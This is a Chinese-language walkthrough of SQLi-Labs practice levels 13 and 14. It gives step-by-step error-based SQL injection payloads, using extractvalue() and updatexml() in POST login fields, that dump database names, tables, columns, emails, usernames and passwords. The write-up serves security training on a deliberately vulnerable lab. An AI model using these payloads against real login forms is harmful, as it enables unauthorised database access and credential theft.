SqliLabs Less13-14

第十三关

 

    POST类型基于单引号和括号的的双重注入

1.同十二关一样加上 ’)#     

 uname=a')#&passwd=123&submit=Submit

2.判断列数为2

 uname=a') order by 3#&passwd=123&submit=Submit

 3.在输入联合查询时无果，尝试用特殊函数

 4.利用extractvalue(文档名称，文档路径)函数传递参数的固有性来制造错误，从而实现注入，下图为爆库操作

   注意：0x7e是~的ASCLL码值

uname=a')and extractvalue(1,concat(0x7e,database()))#&passwd=123&submit=Submit

 5.爆表(注意括弧数量)

uname=a')and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database())))#&passwd=123&submit=Submit

 6.爆列

uname=a')and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'emails')))#&passwd=123&submit=Submit

 7.爆数据

通过limit0,1进行查询(limit0,1表示从你的表中的第0个数据开始，只读取1个)

把group_concat改为concat函数，这样做的目的是使用limit 0,1 进行逐个查询

uname=a')and extractvalue(1,concat(0x7e,(select concat(id,' ',email_id) from emails limit 1,1)))#&passwd=123&submit=Submit

 

第十四关

题目与十三关一样，但输入单引号无响应直接被骗，应输入双引号报错

用#注释掉后面的，接下来就又是那一套了

1.判断列数

uname=a" order by 3#&passwd=123&submit=Submit

   在3时报错，判断结果为2列

2.爆库

uname=a" and updatexml(1,concat(0x7e,database()),3) #&passwd=123&submit=Submit

 3.爆表

uname=a"and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),3)#&passwd=123&submit=Submit

 4.爆列

uname=a" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users') ),3)#&passwd=123&submit=Submit

 5.爆数据

uname=a" and updatexml(1,concat(0x7e,(select concat(id,' ',username,' ',password) from users limit 0,1) ),3)#&passwd=123&submit=Submit